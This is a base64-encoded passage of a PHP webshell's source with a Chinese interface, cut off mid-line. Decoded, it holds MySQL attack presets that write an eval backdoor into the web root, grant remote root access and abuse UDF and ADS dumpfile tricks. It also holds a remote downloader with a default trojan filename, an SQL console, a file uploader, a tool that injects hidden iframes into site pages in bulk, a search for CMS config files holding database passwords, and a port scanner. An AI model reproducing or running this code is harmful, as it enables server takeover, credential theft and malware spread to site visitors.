OwoJU3RyWzBdID0gInNlbGVjdCB2ZXJzaW9uKCk7IjsKCVN0clsxXSA9ICJzZWxlY3QgbG9hZF9maWxlKDB4NjMzQTVDNUM3NzY5NkU2NDZGNzc3MzVDNzM3OTczNzQ2NTZEMzMzMjVDNUM2OTZFNjU3NDczNzI3NjVDNUM2RDY1NzQ2MTYyNjE3MzY1MkU3ODZENkMpIEZST00gdXNlciBpbnRvIG91dGZpbGUgJ0Q6L3dlYi9paXMudHh0JyI7CglTdHJbMl0gPSAic2VsZWN0ICc8P3BocCBldmFsKFwkX1BPU1RbY21kXSk7Pz4nIGludG8gb3V0ZmlsZSAnRjovd2ViL2Jhay5waHAnOyI7CglTdHJbM10gPSAiR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gKi4qIFRPICdyb290J0AnJScgSURFTlRJRklFRCBCWSAnMTIzNDU2JyBXSVRIIEdSQU5UIE9QVElPTjsiOwoJU3RyWzRdID0gInNlbGVjdCBAQHBsdWdpbl9kaXIiOwoJU3RyWzVdID0gInNlbGVjdCAneHh4JyBpbnRvIGR1bXBmaWxlICdDOlxcXFxcXFxcTXlTUUxcXFxcXFxcXGxpYjo6XCRJTkRFWF9BTExPQ0FUSU9OJzsiOwoJU3RyWzZdID0gInNlbGVjdCAneHh4JyBpbnRvIGR1bXBmaWxlICdDOlxcXFxcXFxcTXlTUUxcXFxcXFxcXGxpYlxcXFxcXFxccGx1Z2luOjpcJElOREVYX0FMTE9DQVRJT04nOyI7CgluZm9ybS5tc3FsLnZhbHVlID0gU3RyW2ldOwoJcmV0dXJuIHRydWU7Cn0KPC9zY3JpcHQ+Cjx0ZXh0YXJlYSBuYW1lPSJtc3FsIiBzdHlsZT0id2lkdGg6NzAwcHg7aGVpZ2h0OjIwMHB4OyI+eyRtc3FsfTwvdGV4dGFyZWE+PC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+CjxzZWxlY3Qgb25jaGFuZ2U9InJldHVybiBuRnVsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSI+Cgk8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD7mmL7npLrniYjmnKw8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IjEiPuWvvOWHuuaWh+S7tjwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0iMiI+5YaZ5YWl5paH5Lu2PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSIzIj7lvIDlkK/lpJbov548L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IjQiPuafpeivok1ZU1FM5o+S5Lu255uu5b2VPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSI1Ij5OVEZTLUFEU+a1geWIm+W7uuebruW9lTE8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9IjUiPk5URlMtQURT5rWB5Yib5bu655uu5b2VMjwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuaJp+ihjCIgc3R5bGU9IndpZHRoOjgwcHg7Ij4KRU5EOwp9CglpZigkTVNHX0JPWCAhPSAnJykgZWNobyAnPC9kaXY+PGRpdiBjbGFzcz0iYWN0YWxsIj4nLiRNU0dfQk9YLic8L2Rpdj48L2NlbnRlcj48L2Zvcm0+JzsKCWVsc2UgZWNobyAnPC9kaXY+PC9jZW50ZXI+PC9mb3JtPic7CglicmVhazsKCQogICAgY2FzZSAiZG93bmxvYWRlciI6CgkkQ29tX2R1cmwgPSBpc3NldCgkX1BPU1RbJ2R1cmwnXSkgPyAkX1BPU1RbJ2R1cmwnXSA6ICdodHRwOi8vd3d3LmJhaWR1LmNvbS9kb3duL211bWEuZXhlJzsKCSRDb21fZHBhdGg9IGlzc2V0KCRfUE9TVFsnZHBhdGgnXSkgPyAkX1BPU1RbJ2RwYXRoJ10gOiBGaWxlX1N0cihkaXJuYW1lKG15YWRkcmVzcykuJy9tdW1hLmV4ZScpOwpwcmludDw8PEVORAoJPGZvcm0gbWV0aG9kPSJQT1NUIj4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+6LaF6L+e5o6lIDxpbnB1dCBuYW1lPSJkdXJsIiB2YWx1ZT0ieyRDb21fZHVybH0iIHR5cGU9InRleHQiIHN0eWxlPSJ3aWR0aDo2MDBweDsiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0iYWN0YWxsIj7kuIvovb3liLAgPGlucHV0IG5hbWU9ImRwYXRoIiB2YWx1ZT0ieyRDb21fZHBhdGh9IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij48L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImFjdGFsbCI+PGlucHV0IHZhbHVlPSLkuIvovb0iIHR5cGU9InN1Ym1pdCIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj48L2Zvcm0+CkVORDsKCWlmKCghZW1wdHkoJF9QT1NUWydkdXJsJ10pKSAmJiAoIWVtcHR5KCRfUE9TVFsnZHBhdGgnXSkpKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkY29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydkdXJsJ10pOwoJCWlmKCEkY29udGVudHMpIGVjaG8gJ+aXoOazleivu+WPluimgeS4i+i9veeahOaVsOaNric7CgkJZWxzZSBlY2hvIEZpbGVfV3JpdGUoJF9QT1NUWydkcGF0aCddLCRjb250ZW50cywnd2InKSA/ICfkuIvovb3mlofku7bmiJDlip8nIDogJ+S4i+i9veaWh+S7tuWksei0pSc7CgkJZWNobyAnPC9kaXY+JzsKCX0KCWJyZWFrOwoKCWNhc2UgImlzc3FsIjoKCXNlc3Npb25fc3RhcnQoKTsKICBpZigkX1BPU1RbJ3NxbHVzZXInXSAmJiAkX1BPU1RbJ3NxbHBhc3MnXSl7CiAgICAkX1NFU1NJT05bJ3NxbF91c2VyJ10gPSAkX1BPU1RbJ3NxbHVzZXInXTsKICAgICRfU0VTU0lPTlsnc3FsX3Bhc3N3b3JkJ10gPSAkX1BPU1RbJ3NxbHBhc3MnXTsKICB9CiAgaWYoJF9QT1NUWydzcWxob3N0J10peyRfU0VTU0lPTlsnc3FsX2hvc3QnXSA9ICRfUE9TVFsnc3FsaG9zdCddO30KICBlbHNleyRfU0VTU0lPTlsnc3FsX2hvc3QnXSA9ICdsb2NhbGhvc3QnO30KICBpZigkX1BPU1RbJ3NxbHBvcnQnXSl7JF9TRVNTSU9OWydzcWxfcG9ydCddID0gJF9QT1NUWydzcWxwb3J0J107fQogIGVsc2V7JF9TRVNTSU9OWydzcWxfcG9ydCddID0gJzMzMDYnO30KICBpZigkX1NFU1NJT05bJ3NxbF91c2VyJ10gJiYgJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSl7CiAgICBpZighKCRzcWxjb24gPSBAbXlzcWxfY29ubmVjdCgkX1NFU1NJT05bJ3NxbF9ob3N0J10uJzonLiRfU0VTU0lPTlsnc3FsX3BvcnQnXSwkX1NFU1NJT05bJ3NxbF91c2VyJ10sJF9TRVNTSU9OWydzcWxfcGFzc3dvcmQnXSkpKXsKICAgICAgdW5zZXQoJF9TRVNTSU9OWydzcWxfdXNlciddLCAkX1NFU1NJT05bJ3NxbF9wYXNzd29yZCddLCAkX1NFU1NJT05bJ3NxbF9ob3N0J10sICRfU0VTU0lPTlsnc3FsX3BvcnQnXSk7CiAgICAgIGRpZShodG1sX2EoJz9lYW52ZXI9c3Fsc2hlbGwnLCfov57mjqXlpLHotKXor7fov5Tlm54nKSk7CiAgICB9CiAgfQogIGVsc2V7CiAgICBkaWUoaHRtbF9hKCc/ZWFudmVyPXNxbHNoZWxsJywn6L+e5o6l5aSx6LSl6K+36L+U5ZueJykpOwogIH0KICAkcXVlcnkgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVMiLCRzcWxjb24pOwogIGh0bWxfbignPHRyPjx0ZD7mlbDmja7lupPliJfooag6Jyk7CiAgd2hpbGUoJGRiID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5KSkgewoJCWh0bWxfYSgnP2VhbnZlcj1pc3NxbCZkYj0nLiRkYlsnRGF0YWJhc2UnXSwkZGJbJ0RhdGFiYXNlJ10pOwoJCWVjaG8gJyZuYnNwOyZuYnNwOyc7Cgl9CiAgaHRtbF9uKCc8L3RkPjwvdHI+Jyk7CiAgaWYoJF9HRVRbJ2RiJ10pewogIAljc3NfanMoIjMiKTsKICAgIG15c3FsX3NlbGVjdF9kYigkX0dFVFsnZGInXSwgJHNxbGNvbik7CiAgICBodG1sX24oJzx0cj48dGQ+PGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJEYkZvcm0iPjx0ZXh0YXJlYSBuYW1lPSJzcWwiIENPTFM9IjgwIiBST1dTPSIzIj4nLiRfUE9TVFsnc3FsJ10uJzwvdGV4dGFyZWE+PGJyPicpOwogICAgaHRtbF9zZWxlY3QoYXJyYXkoMD0+Ii0tU1FM6K+t5rOVLS0iLDc9PiLmt7vliqDmlbDmja4iLDg9PiLliKDpmaTmlbDmja4iLDk9PiLkv67mlLnmlbDmja4iLDEwPT4i5bu65pWw5o2u6KGoIiwxMT0+IuWIoOaVsOaNruihqCIsMTI9PiLmt7vliqDlrZfmrrUiLDEzPT4i5Yig6Zmk5a2X5q61IiksMCwib25jaGFuZ2U9J3JldHVybiBGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpJyIpOwogICAgaHRtbF9pbnB1dCgic3VibWl0IiwiZG9xdWVyeSIsIuaJp+ihjCIpOwogICAgaHRtbF9hKCI/ZWFudmVyPWlzc3FsJmRiPSIuJF9HRVRbJ2RiJ10sJF9HRVRbJ2RiJ10pOwogICAgaHRtbF9uKCctLS0+Jyk7CiAgICBodG1sX2EoIj9lYW52ZXI9aXNzcWwmZGI9Ii4kX0dFVFsnZGInXS4iJnRhYmxlPSIuJF9HRVRbJ3RhYmxlJ10sJF9HRVRbJ3RhYmxlJ10pOwogICAgaHRtbF9uKCc8L2Zvcm0+PGJyPicpOwogIAlpZighZW1wdHkoJF9QT1NUWydzcWwnXSkpewoJCQlpZiAoQG15c3FsX3F1ZXJ5KCRfUE9TVFsnc3FsJ10sJHNxbGNvbikpIHsKCQkJCWVjaG8gIuaJp+ihjFNRTOivreWPpeaIkOWKnyI7CgkJCX1lbHNlewoJCQkJZWNobyAi5Ye66ZSZOiAiLm15c3FsX2Vycm9yKCk7CgkJCX0KICAJfQogICAgaWYoJF9HRVRbJ3RhYmxlJ10pewogICAgICBodG1sX24oJzx0YWJsZSBib3JkZXI9MT48dHI+Jyk7CiAgICAgICRxdWVyeSA9ICJTSE9XIENPTFVNTlMgRlJPTSAiLiRfR0VUWyd0YWJsZSddOwogICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzcWxjb24pOwogICAgICAkZmllbGRzID0gYXJyYXkoKTsKICAgICAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsKICAgICAgICBhcnJheV9wdXNoKCRmaWVsZHMsJHJvd1snRmllbGQnXSk7CiAgICAgICAgaHRtbF9uKCc8dGQ+PGZvbnQgY29sb3I9I0ZGRkY0ND4nLiRyb3dbJ0ZpZWxkJ10uJzwvZm9udD48L3RkPicpOwogICAgICB9CiAgICAgIGh0bWxfbignPC90cj48dHI+Jyk7CiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAiLiRfR0VUWyd0YWJsZSddLCRzcWxjb24pIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgd2hpbGUoJHRleHQgPSBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpewogICAgICAJZm9yZWFjaCgkZmllbGRzIGFzICRyb3cpewogICAgICAJCWlmKCR0ZXh0WyRyb3ddID09ICIiKSAkdGV4dFskcm93XSA9ICdOVUxMJzsKICAgICAgCQlodG1sX24oJzx0ZD4nLiR0ZXh0WyRyb3ddLic8L3RkPicpOwogICAgICAJfQogICAgICAJZWNobyAnPC90cj4nOwogICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAkcXVlcnkgPSAiU0hPVyBUQUJMRVMgRlJPTSAiIC4gJF9HRVRbJ2RiJ107CiAgICAgICRkYXQgPSBteXNxbF9xdWVyeSgkcXVlcnksICRzcWxjb24pIG9yIGRpZShteXNxbF9lcnJvcigpKTsKICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJGRhdCkpewogICAgICAgIGh0bWxfbigiPHRyPjx0ZD48YSBocmVmPSc/ZWFudmVyPWlzc3FsJmRiPSIuJF9HRVRbJ2RiJ10uIiZ0YWJsZT0iLiRyb3dbMF0uIic+Ii4kcm93WzBdLiI8L2E+PC90ZD48L3RyPiIpOwogICAgICB9CiAgICB9CiAgfQoJYnJlYWs7CgkKCWNhc2UgInVwZmlsZXMiOgoJaHRtbF9uKCc8dHI+PHRkPuacjeWKoeWZqOmZkOWItuS4iuS8oOWNleS4quaWh+S7tuWkp+WwjzogJy5AZ2V0X2NmZ192YXIoJ3VwbG9hZF9tYXhfZmlsZXNpemUnKS4nPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4nKTsKCWh0bWxfaW5wdXQoInRleHQiLCJ1cHBhdGgiLHJvb3RfZGlyLCI8YnI+5LiK5Lyg5Yiw6Lev5b6EOiAiLCI1MSIpOwpwcmludDw8PEVORAo8U0NSSVBUIGxhbmd1YWdlPSJKYXZhU2NyaXB0Ij4KZnVuY3Rpb24gYWRkVGFuaygpewp2YXIgaz0wOwogIGs9aysxOwogIGs9dGFuay5yb3dzLmxlbmd0aDsKICBuZXdSb3c9ZG9jdW1lbnQuYWxsLnRhbmsuaW5zZXJ0Um93KC0xKQogIDwhLS3liKDpmaTpgInmi6ktLT4KICBuZXdjZWxsPW5ld1Jvdy5pbnNlcnRDZWxsKCkKICBuZXdjZWxsLmlubmVySFRNTD0iPGlucHV0IG5hbWU9J3RhbmtObycgdHlwZT0nY2hlY2tib3gnPiA8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0ndXBmaWxlW10nIHZhbHVlPScnIHNpemU9JzUwJz4iCn0KCmZ1bmN0aW9uIGRlbFRhbmsoKSB7CiAgaWYodGFuay5yb3dzLmxlbmd0aD09MSkgcmV0dXJuOwogIHZhciBjaGVja2l0ID0gZmFsc2U7CiAgZm9yICh2YXIgaT0wO2k8ZG9jdW1lbnQuYWxsLnRhbmtOby5sZW5ndGg7aSsrKSB7CiAgICBpZiAoZG9jdW1lbnQuYWxsLnRhbmtOb1tpXS5jaGVja2VkKSB7CiAgICAgIGNoZWNraXQ9dHJ1ZTsKICAgICAgdGFuay5kZWxldGVSb3coaSsxKTsKICAgICAgaS0tOwogICAgfQogIH0KICBpZiAoY2hlY2tpdCkgewogIH0gZWxzZXsKICAgIGFsZXJ0KCLor7fpgInmi6nkuIDkuKropoHliKDpmaTnmoTlr7nosaEiKTsKICAgIHJldHVybiBmYWxzZTsKICB9Cn0KPC9TQ1JJUFQ+Cjxicj48YnI+Cjx0YWJsZSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9IjEwMCUiIGJvcmRlcj0wPiAgICAgICAKICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSI3JSI+PGlucHV0IGNsYXNzPSJidXR0b24wMSIgdHlwZT0iYnV0dG9uIiAgb25jbGljaz0iYWRkVGFuaygpIiB2YWx1ZT0iIOa3uyDliqAgIiBuYW1lPSJidXR0b24yIi8+CiAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJidXR0b24zIiAgdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnV0dG9uMDEiIG9uQ2xpY2s9ImRlbFRhbmsoKSIgdmFsdWU9IuWIoOmZpCIgLz4KICAgICAgICAgICAgPC90ZD4KICAgICAgICAgIDwvdHI+CjwvdGFibGU+Cjx0YWJsZSAgaWQ9InRhbmsiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMSIgPgo8dHI+PHRkPuivt+mAieaLqeimgeS4iuS8oOeahOaWh+S7tu+8mjwvdGQ+PC90cj4KPHRyPjx0ZD48aW5wdXQgbmFtZT0ndGFua05vJyB0eXBlPSdjaGVja2JveCc+IDxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSd1cGZpbGVbXScgdmFsdWU9Jycgc2l6ZT0nNTAnPjwvdGQ+PC90cj4KPC90YWJsZT4KRU5EOwoJaHRtbF9uKCc8YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBmaWxlcyIgdmFsdWU9IuS4iuS8oCIgc3R5bGU9IndpZHRoOjgwcHg7Ij4gPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Iui/lOWbniIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPVwnP2VhbnZlcj1tYWluJnBhdGg9Jy5yb290X2Rpci4nXCc7IiBzdHlsZT0id2lkdGg6ODBweDsiPicpOwoJaWYoJF9QT1NUWyd1cGZpbGVzJ10pewoJCWZvcmVhY2ggKCRfRklMRVNbInVwZmlsZSJdWyJlcnJvciJdIGFzICRrZXkgPT4gJGVycm9yKXsKCQkJaWYgKCRlcnJvciA9PSBVUExPQURfRVJSX09LKXsKCQkJCSR0bXBfbmFtZSA9ICRfRklMRVNbInVwZmlsZSJdWyJ0bXBfbmFtZSJdWyRrZXldOwoJCQkJJG5hbWUgPSAkX0ZJTEVTWyJ1cGZpbGUiXVsibmFtZSJdWyRrZXldOwoJCQkJJHVwbG9hZGZpbGUgPSBzdHJfcGF0aCgkX1BPU1RbJ3VwcGF0aCddLicvJy4kbmFtZSk7CgkJCQkkdXBsb2FkID0gQGNvcHkoJHRtcF9uYW1lLCR1cGxvYWRmaWxlKSA/ICRuYW1lLiRtc2dbMl0gOiBAbW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwkdXBsb2FkZmlsZSkgPyAkbmFtZS4kbXNnWzJdIDogJG5hbWUuJG1zZ1szXTsKCQkJCWVjaG8gJzxicj48YnI+Jy4kdXBsb2FkOwoJCQl9CgkJfQoJfQoJaHRtbF9uKCc8L2Zvcm0+Jyk7CglicmVhazsKCQoJY2FzZSAiZ3VhbWEiOgoJJHBhdGh0ID0gaXNzZXQoJF9QT1NUWydwYXRoJ10pID8gJF9QT1NUWydwYXRoJ10gOiByb290X2RpcjsKCSR0eXBldCA9IGlzc2V0KCRfUE9TVFsndHlwZSddKSA/ICRfUE9TVFsndHlwZSddIDogIi5odG1sfC5zaHRtbHwuaHRtfC5hc3B8LnBocHwuanNwfC5jZ2l8LmFzcHgiOwoJJGNvZGV0ID0gaXNzZXQoJF9QT1NUWydjb2RlJ10pID8gJF9QT1NUWydjb2RlJ10gOiAiPGlmcmFtZSBzcmM9XCJodHRwOi8vbG9jYWxob3N0L2VhbnZlci5odG1cIiB3aWR0aD1cIjFcIiBoZWlnaHQ9XCIxXCI+PC9pZnJhbWU+IjsKCWh0bWxfbignPHRyPjx0ZD7mlofku7bnsbvlnovor7fnlKgifCLpmpTlvIAs5Lmf5Y+v5Lul5piv5oyH5a6a5paH5Lu25ZCNLjxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPicpOwoJaHRtbF9pbnB1dCgidGV4dCIsInBhdGgiLCRwYXRodCwi6Lev5b6E6IyD5Zu0IiwiNDUiKTsKCWh0bWxfaW5wdXQoImNoZWNrYm94IiwicGFzcyIsIiIsIuS9v+eUqOebruW9lemBjeWOhiIsIiIsdHJ1ZSk7CglodG1sX2lucHV0KCJ0ZXh0IiwidHlwZSIsJHR5cGV0LCI8YnI+PGJyPuaWh+S7tuexu+WeiyIsIjYwIik7CglodG1sX3RleHQoImNvZGUiLCI2NyIsIjUiLCRjb2RldCk7CglodG1sX24oJzxicj48YnI+Jyk7CglodG1sX3JhZGlvKCLmibnph4/mjILpqawiLCLmibnph4/muIXpqawiLCJndWFtYSIsInFpbmdtYSIpOwoJaHRtbF9pbnB1dCgic3VibWl0IiwicGFzc3JldHVybiIsIuW8gOWniyIpOwoJaHRtbF9uKCc8L3RkPjwvdHI+PC9mb3JtPicpOwoJaWYoIWVtcHR5KCRfUE9TVFsncGF0aCddKSl7CgkJaHRtbF9uKCc8dHI+PHRkPuebruagh+aWh+S7tjo8YnI+PGJyPicpOwoJCWlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgJGJvb2wgPSB0cnVlOyBlbHNlICRib29sID0gZmFsc2U7CgkJZG9fcGFzc3JldHVybigkcGF0aHQsJGNvZGV0LCRfUE9TVFsncmV0dXJuJ10sJGJvb2wsJHR5cGV0KTsKCX0KCWJyZWFrOwoJCgljYXNlICJ0aWh1YW4iOgoJaHRtbF9uKCc8dHI+PHRkPuatpOWKn+iDveWPr+aJuemHj+abv+aNouaWh+S7tuWGheWuuSzor7flsI/lv4Pkvb/nlKguPGJyPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPicpOwoJaHRtbF9pbnB1dCgidGV4dCIsInBhdGgiLHJvb3RfZGlyLCLot6/lvoTojIPlm7QiLCI0NSIpOwoJaHRtbF9pbnB1dCgiY2hlY2tib3giLCJwYXNzIiwiIiwi5L2/55So55uu5b2V6YGN5Y6GIiwiIix0cnVlKTsKCWh0bWxfdGV4dCgibmV3Y29kZSIsIjY3IiwiNSIsJF9QT1NUWyduZXdjb2RlJ10pOwoJaHRtbF9uKCc8YnI+PGJyPuabv+aNouS4uicpOwoJaHRtbF90ZXh0KCJvbGRjb2RlIiwiNjciLCI1IiwkX1BPU1RbJ29sZGNvZGUnXSk7CglodG1sX2lucHV0KCJzdWJtaXQiLCJwYXNzcmV0dXJuIiwi5pu/5o2iIiwiPGJyPjxicj4iKTsKCWh0bWxfbignPC90ZD48L3RyPjwvZm9ybT4nKTsKCWlmKCFlbXB0eSgkX1BPU1RbJ3BhdGgnXSkpewoJCWh0bWxfbignPHRyPjx0ZD7nm67moIfmlofku7Y6PGJyPjxicj4nKTsKCQlpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOwoJCWRvX3Bhc3NyZXR1cm4oJF9QT1NUWydwYXRoJ10sJF9QT1NUWyduZXdjb2RlJ10sInRpaHVhbiIsJGJvb2wsJF9QT1NUWydvbGRjb2RlJ10pOwoJfQoJYnJlYWs7CgkKCWNhc2UgInNjYW5maWxlIjoKCWNzc19qcygiNCIpOwoJaHRtbF9uKCc8dHI+PHRkPuatpOWKn+iDveWPr+W+iOaWueS+v+eahOaQnOe0ouWIsOS/neWtmE1ZU1FM55So5oi35a+G56CB55qE6YWN572u5paH5Lu2LOeUqOS6juaPkOadgy48YnI+5b2T5pyN5Yqh5Zmo5paH5Lu25aSq5aSa5pe2LOS8muW9seWTjeaJp+ihjOmAn+W6pizkuI3lu7rorq7kvb/nlKjnm67lvZXpgY3ljoYuPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJzZm9ybSI+PGJyPicpOwoJaHRtbF9pbnB1dCgidGV4dCIsInBhdGgiLHJvb3RfZGlyLCLot6/lvoTlkI0iLCI0NSIpOwoJaHRtbF9pbnB1dCgiY2hlY2tib3giLCJwYXNzIiwiIiwi5L2/55So55uu5b2V6YGN5Y6GIiwiIix0cnVlKTsKCWh0bWxfaW5wdXQoInRleHQiLCJjb2RlIiwkX1BPU1RbJ2NvZGUnXSwiPGJyPjxicj7lhbPplK7lrZciLCI0MCIpOwoJaHRtbF9zZWxlY3QoYXJyYXkoIi0tTVlTUUzphY3nva7mlofku7YtLSIsIkRpc2N1eiIsIlBIUFdpbmQiLCJwaHBjbXMiLCJkZWRlY21zIiwiUEhQQkIiLCJ3b3JkcHJlc3MiLCJzYS1ibG9nIiwiby1ibG9nIiksMCwib25jaGFuZ2U9J3JldHVybiBGdWxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSciKTsKCWh0bWxfbignPGJyPjxicj4nKTsKCWh0bWxfcmFkaW8oIuaQnOe0ouaWh+S7tuWQjSIsIuaQnOe0ouWMheWQq+aWh+WtlyIsInNjYW5maWxlIiwic2NhbmNvZGUiKTsKCWh0bWxfaW5wdXQoInN1Ym1pdCIsInBhc3NyZXR1cm4iLCLmkJzntKIiKTsKCWh0bWxfbignPC90ZD48L3RyPjwvZm9ybT4nKTsKCWlmKCFlbXB0eSgkX1BPU1RbJ3BhdGgnXSkpewoJCWh0bWxfbignPHRyPjx0ZD7mib7liLDmlofku7Y6PGJyPjxicj4nKTsKCQlpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOwoJCWRvX3Bhc3NyZXR1cm4oJF9QT1NUWydwYXRoJ10sJF9QT1NUWydjb2RlJ10sJF9QT1NUWydyZXR1cm4nXSwkYm9vbCk7Cgl9CglicmVhazsKCQoJY2FzZSAic2NhbnBocCI6CglodG1sX24oJzx0cj48dGQ+5Y6f55CG5piv5qC55o2u54m55b6B56CB5a6a5LmJ55qELOivt+afpeeci+S7o+eggeWIpOaWreWQjuWGjei/m+ihjOWIoOmZpC48Zm9ybSBtZXRob2Q9IlBPU1QiPjxicj4nKTsKCWh0bWxfaW5wdXQoInRleHQiLCJwYXRoIixyb290X2Rpciwi5p+l5om+6IyD5Zu0IiwiNDAiKTsKCWh0bWxfaW5wdXQoImNoZWNrYm94IiwicGFzcyIsIiIsIuS9v+eUqOebruW9lemBjeWOhjxicj48YnI+6ISa5pys57G75Z6LIiwiIix0cnVlKTsKCWh0bWxfc2VsZWN0KGFycmF5KCJwaHAiID0+ICJQSFAiLCJhc3AiID0+ICJBU1AiLCJhc3B4IiA9PiAiQVNQWCIsImpzcCIgPT4gIkpTUCIpKTsKCWh0bWxfaW5wdXQoInN1Ym1pdCIsInBhc3NyZXR1cm4iLCLmn6Xmib4iLCI8YnI+PGJyPiIpOwoJaHRtbF9uKCc8L3RkPjwvdHI+PC9mb3JtPicpOwoJaWYoIWVtcHR5KCRfUE9TVFsncGF0aCddKSl7CgkJaHRtbF9uKCc8dHI+PHRkPuaJvuWIsOaWh+S7tjo8YnI+PGJyPicpOwoJCWlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgJGJvb2wgPSB0cnVlOyBlbHNlICRib29sID0gZmFsc2U7CgkJZG9fcGFzc3JldHVybigkX1BPU1RbJ3BhdGgnXSwkX1BPU1RbJ2NsYXNzJ10sInNjYW5waHAiLCRib29sKTsKCX0KCWJyZWFrOwoJCgljYXNlICJwb3J0IjoKCSRQb3J0X2lwID0gaXNzZXQoJF9QT1NUWydpcCddKSA/ICRfUE9TVFsnaXAnXSA6ICcxMjcuMC4wLjEnOwoJJFBvcnRfcG9ydCA9IGlzc2V0KCRfUE9TVFsncG9ydCddKSA/ICRfUE9TVFsncG9ydCddIDogJzIxfDIzfDI1fDgwfDExMHwxMzV8MTM5fDQ0NXwxNDMzfDMzMDZ8MzM4OXw0Mzk1OHw1NjMxfDIwNDl8ODczJzsKcHJpbnQ8PDxFTkQKPGZvcm0gbWV0aG9kPSJQT1NUIj4KPGRpdiBjbGFzcz0iYWN0YWxsIj7miavmj49JUCA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHZhbHVlPSJ7JFBvcnRfaXB9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij4gPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+56uv5Y+j5Y+3IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1ZT0ieyRQb3J0X3BvcnR9IiBzdHlsZT0id2lkdGg6NTk3cHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i5omr5o+PIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2Pgo8L2Zvcm0+CkVORDsKCWlmKCghZW1wdHkoJF9QT1NUWydpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkpKQoJewoJCWVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKCQkkcG9ydHMgPSBleHBsb2RlKCd8JywgJF9QT1NUWydwb3J0J10pOwoJCWZvcigkaSA9IDA7JGkgPCBjb3VudCgkcG9ydHMpOyRpKyspCgkJewoJCQkkZnAgPSBAZnNvY2tvcGVuKCRfUE9TVFsnaXAnXSwkcG9ydHNbJGldLCRlcnJubywkZXJyc3RyLDIpOwoJCQllY2hvICRmcCA/ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+5byA5pS+56uv5Y+jIC0tLT4gJy4kcG9ydHNbJGldLic8L2ZvbnQ+PGJyPicgOiAn5YWz6Zet56uv5Y+jIC0tLT4gJy4kcG9ydHNbJGldLic8YnI+JzsKCQkJb2JfZmx1c2goKTsKCQkJZmx1c2goKTsKCQl9CgkJZWNobyAnPC9kaXY+JzsKCX0KCWJyZWFrOwoJCgoJY2FzZSAiZ2V0Y29kZSI6CmlmIChpc3NldCgkX1BPU1RbJ3VybCddKSkgeyRwcm94eWNvbnRlbnRzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsndXJsJ10pO2VjaG8gKCRwcm94eWNvbnRlbnR